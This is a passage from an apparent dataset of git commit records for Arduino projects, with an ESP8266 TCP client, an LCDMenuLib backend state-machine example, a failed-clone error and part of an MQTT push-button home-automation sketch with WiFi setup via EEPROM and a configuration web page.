declarations\nvoid onDataCb(ESP8266Client& client, char *data, unsigned short length);\nvoid onConnectCb(ESP8266Client& client);\nvoid onDisconnectCb();\nvoid onReconnectCb(ESP8266Client& client, sint8 err);\n\n\n\/\/------------------------------------------\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n \/\/ We start by connecting to a WiFi network\n\n \/\/Serial.println();\n \/\/Serial.println();\n \/\/Serial.print(\"Connecting to \");\n \/\/Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n \/\/Serial.print(\".\");\n }\n\n \/\/Serial.println(\"\");\n \/\/Serial.println(\"WiFi connected\"); \n \/\/Serial.println(\"IP address: \");\n \/\/Serial.println(WiFi.localIP());\n\n \/\/ set callback functions\n client.onData(onDataCb);\n client.onConnected(onConnectCb);\n client.onDisconnected(onDisconnectCb);\n client.onReconnect(onReconnectCb);\n}\n\nvoid loop() {\n\n \/\/ leectura datos recibidos por serial\n if (Serial.available() > 0) {\n \/\/ read the incoming string\n cadena = Serial.readString();\n if (client.isConnected()) {\n \/\/Serial.println(\"sending to server\");\n client.send(cadena.c_str());\n } else {\n \/\/ connect\n boolean res = client.connect();\n if (!res) {\n\/\/ Serial.println(\"could not connect\");\n } \n }\n\n delay(10);\n }\n}\n\n\n\/\/------------------------\n\/\/------------------------\n\/\/ general callbacks\nvoid onDataCb(ESP8266Client& client, char *data, unsigned short length)\n{\n Serial.write(data, length);\n}\n\n\/\/------------------------\n\/\/------------------------\n\/\/ TCP callbacks\nvoid onConnectCb(ESP8266Client& client)\n{\n \/\/Serial.println(\"connected to server\"); \n}\n\nvoid onDisconnectCb()\n{\n \/\/Serial.println(\"disconnected from server\");\n}\n\nvoid onReconnectCb(ESP8266Client& client, sint8 err)\n{\n \/\/Serial.print(\"reconnect CB: \");\n \/\/Serial.println(espErrorToStr(err));\n \/\/ Serial.println(espErrorDesc(err));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ClienteServidor\/espinoClient\/espinoClient.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"eb64f6c005d4d85e7c885cb12a368ab91b29c1c2","subject":"backend example","message":"backend example\n\nadd missing file in backend example\n","repos":"Jomelo\/LCDMenuLib","old_file":"LCDMenuLib\/examples\/LCDML_200_backend_basics\/LCDML_FUNC_BACKEND.ino","new_file":"LCDMenuLib\/examples\/LCDML_200_backend_basics\/LCDML_FUNC_BACKEND.ino","new_contents":"\/* ===================================================================== *\n * *\n * BACKEND SYSTEM *\n * *\n * ===================================================================== *\n * every \"backend function\" needs three functions \n * - void LCDML_BACK_setup(..func_name..) \n * - void LCDML_BACK_loop(..func_name..) \n * - void LCDML_BACK_stable(..func_name..)\n *\n * - every BACKEND function can be stopped and started\n * EXAMPLE CODE:\n void LCDML_BACK_setup(LCDML_BACKEND_control)\n {\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n }\n \n boolean LCDML_BACK_loop(LCDML_BACKEND_control)\n { \n \/\/ runs in loop\n \n \n return false; \n }\n \n void LCDML_BACK_stable(LCDML_BACKEND_control)\n {\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable \n }\n * ===================================================================== *\n *\/\n\n\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_static)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_static\"));\n Serial.println(F(\"===========================\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_static)\n{\n Serial.println(F(\"Loop: LCDML_BACKEND_static\")); \n \n \/\/ return false = go to first backend function and check time\n return false;\n \/\/ return true = go to next backend function and check time\n \/\/ return true; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_static)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable\n Serial.println(F(\"Stop Stable: LCDML_BACKEND_static\"));\n Serial.println(F(\"=================================\")); \n}\n\n\n\n\n\n\/\/ *********************************************************************\nunsigned long g_dynamic_counter = 1;\nvoid LCDML_BACK_setup(LCDML_BACKEND_dynamic)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_dynamic\"));\n Serial.println(F(\"============================\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_dynamic)\n{ \n \/\/ runs in loop with different times \n Serial.print(F(\"Loop: LCDML_BACKEND_dynamic - last loop time: \"));\n Serial.println(LCDML_BACK_dynamic_getLoopTime(LCDML_BACKEND_dynamic));\n \n \/\/ set next loop time\n g_dynamic_counter++;\n\n \/\/ read old loop time and div it through g_dynamic_counter\n LCDML_BACK_dynamic_setLoopTime(LCDML_BACKEND_dynamic, (LCDML_BACK_dynamic_setDefaultTime(LCDML_BACKEND_dynamic) \/ g_dynamic_counter));\n\n if(g_dynamic_counter > 30) {\n \/\/ reset counter after 8 steps\n g_dynamic_counter = 1;\n \/\/ set loop time to default\n LCDML_BACK_dynamic_setDefaultTime(LCDML_BACKEND_dynamic); \n } \n \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_dynamic)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable\n Serial.println(F(\"Stop Stable: LCDML_BACKEND_dynamic\"));\n Serial.println(F(\"==================================\")); \n}\n\n\n\n\n\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_ge1)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_ge1\"));\n Serial.println(F(\"============================\")); \n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_ge1)\n{ \n \/\/ runs in loop\n Serial.println(F(\"Loop: LCDML_BACKEND_ge1\")); \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_ge1)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable \n Serial.println(F(\"Stop Stable: LCDML_BACKEND_ge1\"));\n Serial.println(F(\"==================================\")); \n}\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_ge2)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_ge2\"));\n Serial.println(F(\"============================\")); \n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_ge2)\n{ \n \/\/ runs in loop \n Serial.println(F(\"Loop: LCDML_BACKEND_ge2\")); \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_ge2)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable\n Serial.println(F(\"Stop Stable: LCDML_BACKEND_ge2\"));\n Serial.println(F(\"==================================\")); \n}\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_ge3)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_ge3\"));\n Serial.println(F(\"============================\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_ge3)\n{ \n \/\/ runs in loop\n Serial.println(F(\"Loop: LCDML_BACKEND_ge3\")); \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_ge3)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable \n Serial.println(F(\"Stop Stable: LCDML_BACKEND_ge3\"));\n Serial.println(F(\"==================================\")); \n}\n\n\n\n\n\n\/\/ *********************************************************************\nuint8_t g_state_counter = 0;\nvoid LCDML_BACK_setup(LCDML_BACKEND_state_1)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_state_1\"));\n Serial.println(F(\"============================\"));\n Serial.println(F(\"count until 5\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_state_1)\n{ \n \/\/ runs in loop\n if(g_state_counter == 5) {\n \/\/ stopStable this function \n LCDML_BACK_stopStable(LCDML_BACKEND_state_1);\n \/\/ go to next state with restart (runs setup again)\n LCDML_BACK_restart(LCDML_BACKEND_state_2);\n } else {\n \/\/ increment\n g_state_counter++;\n Serial.print(F(\"Loop: LCDML_BACKEND_state_1 - counter: \"));\n Serial.println(g_state_counter);\n }\n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_state_1)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable\n Serial.println(F(\"Stop Stable: LCDML_BACKEND_state_1\"));\n Serial.println(F(\"==================================\")); \n\n \/\/ reset counter\n g_state_counter = 0; \n}\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_state_2)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_state_2\"));\n Serial.println(F(\"============================\"));\n Serial.println(F(\"count until 10\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_state_2)\n{ \n \/\/ runs in loop\n if(g_state_counter == 10) {\n \/\/ stopStable this function \n LCDML_BACK_stopStable(LCDML_BACKEND_state_2);\n \/\/ go to next state with restart (runs setup again)\n LCDML_BACK_restart(LCDML_BACKEND_state_3);\n } else {\n \/\/ increment\n g_state_counter++;\n Serial.print(F(\"Loop: LCDML_BACKEND_state_2 - counter: \"));\n Serial.println(g_state_counter);\n } \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_state_2)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable\n Serial.println(F(\"Stop Stable: LCDML_BACKEND_state_2\"));\n Serial.println(F(\"==================================\")); \n\n \/\/ reset counter\n g_state_counter = 0; \n}\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_state_3)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_state_3\"));\n Serial.println(F(\"============================\"));\n Serial.println(F(\"count until 2\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_state_3)\n{ \n \/\/ runs in loop\n if(g_state_counter == 2) {\n \/\/ stopStable this function \n LCDML_BACK_stopStable(LCDML_BACKEND_state_3);\n \/\/ go to next state with restart (runs setup again)\n LCDML_BACK_restart(LCDML_BACKEND_state_4);\n } else {\n \/\/ increment\n g_state_counter++;\n Serial.print(F(\"Loop: LCDML_BACKEND_state_3 - counter: \"));\n Serial.println(g_state_counter);\n } \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_state_3)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable \n Serial.println(F(\"Stop Stable: LCDML_BACKEND_state_3\"));\n Serial.println(F(\"==================================\")); \n\n \/\/ reset counter\n g_state_counter = 0; \n}\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_state_4)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_state_4\"));\n Serial.println(F(\"============================\"));\n Serial.println(F(\"count until 5 and destroy itself\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_state_4)\n{ \n \/\/ runs in loop\n if(g_state_counter == 5) {\n \/\/ stopStable this function \n LCDML_BACK_stopStable(LCDML_BACKEND_state_4); \n } else {\n \/\/ increment\n g_state_counter++;\n Serial.print(F(\"Loop: LCDML_BACKEND_state_4 - counter: \"));\n Serial.println(g_state_counter);\n } \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_state_4)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable \n Serial.println(F(\"Stop Stable: LCDML_BACKEND_state_4\"));\n Serial.println(F(\"==================================\")); \n\n \/\/ reset counter\n g_state_counter = 0; \n}\n\n\n\n\n\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_event)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_event\"));\n Serial.println(F(\"============================\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_event)\n{ \n \/\/ runs in loop\n Serial.println(F(\"Loop: LCDML_BACKEND_event - only loop is called and stopped once again\")); \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_event)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable\n Serial.println(F(\"Stop Stable: LCDML_BACKEND_event\"));\n Serial.println(F(\"==================================\")); \n}\n\n\n\n\n\n\n\/\/ *********************************************************************\nuint8_t g_ping_pong_counter = 0;\nvoid LCDML_BACK_setup(LCDML_BACKEND_signals_ping)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_signals_ping\"));\n Serial.println(F(\"============================\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_signals_ping)\n{ \n \/\/ runs in loop \n \/*\n if(LCDML_BACK_signal_get(signal_from_ping_to_ping)) {\n if(g_ping_pong_counter >= 10) {\n LCDML_BACK_stopStable(LCDML_BACKEND_signals_ping);\n LCDML_BACK_stopStable(LCDML_BACKEND_signals_pong);\n g_ping_pong_counter = 0;\n LCDML_BACK_signal_clear(signal_from_ping_to_ping);\n LCDML_BACK_signal_clear(signal_from_ping_to_pong); \n }\n LCDML_BACK_signal_clear(signal_from_ping_to_ping);\n LCDML_BACK_signal_set(signal_from_ping_to_pong);\n Serial.println(F(\"Loop: LCDML_BACKEND_signals_ping - get signal\"));\n g_ping_pong_counter++;\n } else {\n Serial.println(F(\"Loop: LCDML_BACKEND_signals_ping - no signal\"));\n }\n *\/ \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_signals_ping)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable\n Serial.println(F(\"Stop Stable: LCDML_BACKEND_signals_ping\"));\n Serial.println(F(\"==================================\")); \n}\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_signals_pong)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_signals_pong\"));\n Serial.println(F(\"============================\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_signals_pong)\n{ \n \/\/ runs in loop \n \/*\n if(LCDML_BACK_signal_get(signal_from_ping_to_pong)) {\n LCDML_BACK_signal_clear(signal_from_ping_to_pong);\n LCDML_BACK_signal_set(signal_from_ping_to_ping);\n Serial.println(F(\"Loop: LCDML_BACKEND_signals_pong - get signal\"));\n g_ping_pong_counter++;\n } else {\n Serial.println(F(\"Loop: LCDML_BACKEND_signals_pong - no signal\"));\n }\n *\/\n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_signals_pong)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable\n Serial.println(F(\"Stop Stable: LCDML_BACKEND_signals_pong\"));\n Serial.println(F(\"==================================\")); \n}\n\n\n\n\n\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_kill_system_3)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_kill_system_3\"));\n Serial.println(F(\"============================\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_kill_system_3)\n{ \n \/\/ runs in loop\n Serial.println(F(\"Loop: LCDML_BACKEND_kill_system_3\")); \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_kill_system_3)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable \n Serial.println(F(\"Stop Stable: LCDML_BACKEND_kill_system_3\"));\n Serial.println(F(\"==================================\")); \n}\n\n\n\n\n\n\/\/ *********************************************************************\nvoid LCDML_BACK_setup(LCDML_BACKEND_kill_system_4)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_kill_system_4\"));\n Serial.println(F(\"============================\"));\n \/\/ set loop time to zero\n LCDML_BACK_dynamic_setLoopTime(LCDML_BACKEND_kill_system_4, 0);\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_kill_system_4)\n{ \n \/\/ runs in loop \n Serial.println(F(\"Loop: LCDML_BACKEND_kill_system_4\")); \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_kill_system_4)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable \n Serial.println(F(\"Setup: LCDML_BACKEND_kill_system_4\"));\n Serial.println(F(\"============================\"));\n}\n\n\n\n\n\n\n\n\n\/\/ *********************************************************************\nunsigned long g_real_loop_time_old = millis();\nvoid LCDML_BACK_setup(LCDML_BACKEND_idle)\n\/\/ *********************************************************************\n{\n \/\/ setup\n \/\/ is called only if it is started or restartet (reset+start)\n Serial.println(F(\"Setup: LCDML_BACKEND_idle\"));\n Serial.println(F(\"============================\"));\n Serial.println(F(\"This function is called every 30 secounds\"));\n Serial.println(F(\"If this function is not called, the loop time of other threads was set wrong\"));\n}\nboolean LCDML_BACK_loop(LCDML_BACKEND_idle)\n{ \n \/\/ runs in loop\n Serial.print(F(\"Loop: LCDML_BACKEND_idle - real loop time: \"));\n Serial.print((float)((millis() - g_real_loop_time_old)\/1000.));\n Serial.println(\" [s]\");\n g_real_loop_time_old = millis(); \n return false; \n}\nvoid LCDML_BACK_stable(LCDML_BACKEND_idle)\n{\n \/\/ stable stop\n \/\/ is called when a backend function is stopped with stopStable \n Serial.println(F(\"Stop Stable: LCDML_BACKEND_event\"));\n Serial.println(F(\"==================================\")); \n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCDMenuLib\/examples\/LCDML_200_backend_basics\/LCDML_FUNC_BACKEND.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f81c40f8166113ebc2470a4d403da2f9037d27b1","subject":" Hall sensor add to serial","message":" Hall sensor add to serial\n","repos":"quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack","old_file":"Arduino\/Serial_Hallsensoren\/Serial_Hallsensoren.ino","new_file":"Arduino\/Serial_Hallsensoren\/Serial_Hallsensoren.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/quinten991\/PenO3OnTrack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"148d6bed9ec82b3a3d877e1ee6cd365e45454ba0","subject":"Push Button Sensor Code","message":"Push Button Sensor Code","repos":"dwightdoreid\/MQTTHomeAutomation,dwightdoreid\/MQTTHomeAutomation","old_file":"mqttHA_Point_PushButton.ino","new_file":"mqttHA_Point_PushButton.ino","new_contents":"#include <dummy.h>\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include <ESP8266WebServer.h>\n#include <EEPROM.h>\n\n\/\/ Update these with values suitable for your network.\nESP8266WebServer server(80);\nIPAddress mqtt_server(192,168,0,106);\n\nString pointID;\nchar red[5];\nconst char* mqttUser = \"mqttUser\";\nconst char* mqttPw = \"mqttuser\";\nconst char* ssid = \"MQTT_HA_SetUp\";\nconst char* passphrase = \"testpassword\";\nString esid;\nString epass = \"\";\n\nString st;\nString content;\nint statusCode;\n\n\nWiFiClient espClient;\nvoid callback(char* topic, byte* payload, unsigned int lent);\nPubSubClient client(mqtt_server, 1883, callback, espClient);\nlong lastMsg = 0;\nchar msg[50];\nint value = 0;\nunsigned long startTime;\nlong timeHeld;\n\nboolean switchState = 0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup_wifi() {\n\n delay(10);\n WiFi.begin();\n\n Serial.println(\"Reading EEPROM ssid\");\n \n for (int i = 32; i < 64; ++i)\n {\n esid += char(EEPROM.read(i));\n }\n Serial.print(\"SSID: \");\n Serial.println(esid);\n Serial.println(\"Reading EEPROM pass\");\n \n for (int i = 64; i < 128; ++i)\n {\n epass += char(EEPROM.read(i));\n }\n Serial.print(\"PASS: \");\n Serial.println(epass); \n if (testWifi()) {\n Serial.println(\"\");\n Serial.println(\"Connected to wifi network :\/ \");\n return;\n } \n \n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool testWifi(void) {\n WiFi.mode(WIFI_STA);\n int c = 0;\n if ( esid.length() > 1 ) {\n Serial.println(\"Trying to connect to wifi net..\");\n WiFi.begin(esid.c_str(), epass.c_str());\n while (WiFi.status() != WL_CONNECTED&&c<20) {\n delay(500);\n Serial.print(\".\");\n c++;\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"Connected to wifi network :\/ \");\n return true; \n }\n \n \n }\n Serial.println(\"\");\n Serial.println(\"Connect timed out, opening AP\");\n return false;\n} \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid launchWeb(int webtype) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.print(\"Local IP: \");\n Serial.println(WiFi.localIP());\n Serial.print(\"SoftAP IP: \");\n Serial.println(WiFi.softAPIP());\n createWebServer(webtype);\n \/\/ Start the server\n server.begin(); \n Serial.println(\"Server started\"); \n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setupAP(void) {\n WiFi.mode(WIFI_STA);\n WiFi.disconnect();\n delay(100);\n int n = WiFi.scanNetworks();\n Serial.println(\"scan done\");\n if (n == 0)\n Serial.println(\"no networks found\");\n else\n {\n Serial.print(n);\n Serial.println(\" networks found\");\n for (int i = 0; i < n; ++i)\n {\n \/\/ Print SSID and RSSI for each network found\n Serial.print(i + 1);\n Serial.print(\": \");\n Serial.print(WiFi.SSID(i));\n Serial.print(\" (\");\n Serial.print(WiFi.RSSI(i));\n Serial.print(\")\");\n Serial.println((WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\");\n delay(10);\n }\n }\n Serial.println(\"\"); \n st = \"<ol>\";\n for (int i = 0; i < n; ++i)\n {\n \/\/ Print SSID and RSSI for each network found\n st += \"<li>\";\n st += WiFi.SSID(i);\n st += \" (\";\n st += WiFi.RSSI(i);\n st += \")\";\n st += (WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\";\n st += \"<\/li>\";\n }\n st += \"<\/ol>\";\n delay(100);\n WiFi.softAP(ssid, passphrase, 6);\n Serial.println(\"softap\");\n launchWeb(1);\n Serial.println(\"over\");\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid createWebServer(int webtype)\n{\n if ( webtype == 1 ) {\n Serial.println(\"\");\n Serial.println(\"webtype 1 selected\");\n server.on(\"\/\", []() {\n Serial.println(\"\");\n Serial.println(\"server received \/\");\n IPAddress ip = WiFi.softAPIP();\n String ipStr = String(ip[0]) + '.' + String(ip[1]) + '.' + String(ip[2]) + '.' + String(ip[3]);\n content = \"<!DOCTYPE HTML>\\r\\n<html>Hello from ESP8266 at \";\n content += ipStr;\n content += \"<p>\";\n content += st;\n content += \"<\/p><form method='get' action='setting'><label>SSID: <\/label><input name='ssid' length=32><input name='pass' length=64><input type='submit'><\/form>\";\n content += \"<\/html>\";\n server.send(200, \"text\/html\", content); \n });\n server.on(\"\/setting\", []() {\n String qsid = server.arg(\"ssid\");\n String qpass = server.arg(\"pass\");\n if (qsid.length() > 0 && qpass.length() > 0) {\n Serial.println(\"clearing eeprom\");\n for (int i = 0; i < 128; ++i) { EEPROM.write(i, 0); }\n Serial.println(qsid);\n Serial.println(\"\");\n Serial.println(qpass);\n Serial.println(\"\");\n \n Serial.println(\"writing eeprom ssid:\");\n for (int i = 0; i < qsid.length(); ++i)\n {\n EEPROM.write(32+i, qsid[i]);\n Serial.print(\"Wrote: \");\n Serial.println(qsid[i]); \n }\n Serial.println(\"writing eeprom pass:\"); \n for (int i = 0; i < qpass.length(); ++i)\n {\n EEPROM.write(64+i, qpass[i]);\n Serial.print(\"Wrote: \");\n Serial.println(qpass[i]); \n } \n EEPROM.commit();\n content = \"{\\\"Success\\\":\\\"saved to eeprom... reset to boot into new wifi\\\"}\";\n statusCode = 200;\n } else {\n content = \"{\\\"Error\\\":\\\"404 not found\\\"}\";\n statusCode = 404;\n Serial.println(\"Sending 404\");\n }\n server.send(statusCode, \"application\/json\", content);\n });\n } else if (webtype == 0) {\n Serial.println(\"\");\n Serial.println(\"webtype 0 selected\");\n server.on(\"\/\", []() {\n IPAddress ip = WiFi.localIP();\n String ipStr = String(ip[0]) + '.' + String(ip[1]) + '.' + String(ip[2]) + '.' + String(ip[3]);\n server.send(200, \"application\/json\", \"{\\\"IP\\\":\\\"\" + ipStr + \"\\\"}\");\n });\n server.on(\"\/cleareeprom\", []() {\n content = \"<!DOCTYPE HTML>\\r\\n<html>\";\n content += \"<p>Clearing the EEPROM<\/p><\/html>\";\n server.send(200, \"text\/html\", content);\n Serial.println(\"clearing eeprom\");\n for (int i = 0; i < 128; ++i) { EEPROM.write(i, 0); }\n EEPROM.commit();\n });\n }\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid callback(char* topic, byte* payload, unsigned int lent) {\n client.disconnect();\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < lent; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n Serial.print(\"Message length is: \");\n Serial.println(lent);\n\n char payloadString[lent];\n if (String(topic)==\"newDeviceAdd\") {\n for (int i = 0; i < lent; i++) {\n Serial.print((char)payload[i]);\n payloadString[i]=(char)payload[i];\n }\n Serial.println(\"\");\n Serial. println(\"new device message recvd\");\n redEEPromWrite(String(payloadString));\n Serial. println(\"Point ID written to EEPROM\");\n while (1){}\n \n }\n\n \/\/ Switch on the LED if an 1 was received as first character\n if ((char)payload[0] == '1') {\n digitalWrite(BUILTIN_LED, LOW); \/\/ Turn the LED on (Note that LOW is the voltage level\n \/\/ but actually the LED is on; this is because\n \/\/ it is acive low on the ESP-01)\n } else {\n digitalWrite(BUILTIN_LED, HIGH); \/\/ Turn the LED off by making the voltage HIGH\n }\n reconnect();\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid joinControlNet(){\n \/\/\n char pnt[pointID.length()];\n pointID.toCharArray(pnt,pointID.length()+1);\n client.unsubscribe(pnt);\n String payload = \"lamp\/\";\n redEEPromWrite(pointID);\n \n byte payloadBytes[payload.length()];\n payload.getBytes(payloadBytes,payload.length()+1);\n client.publish(\"newDevice\",payloadBytes ,payload.length() );\n Serial.print(\"Point ID is: \");\n 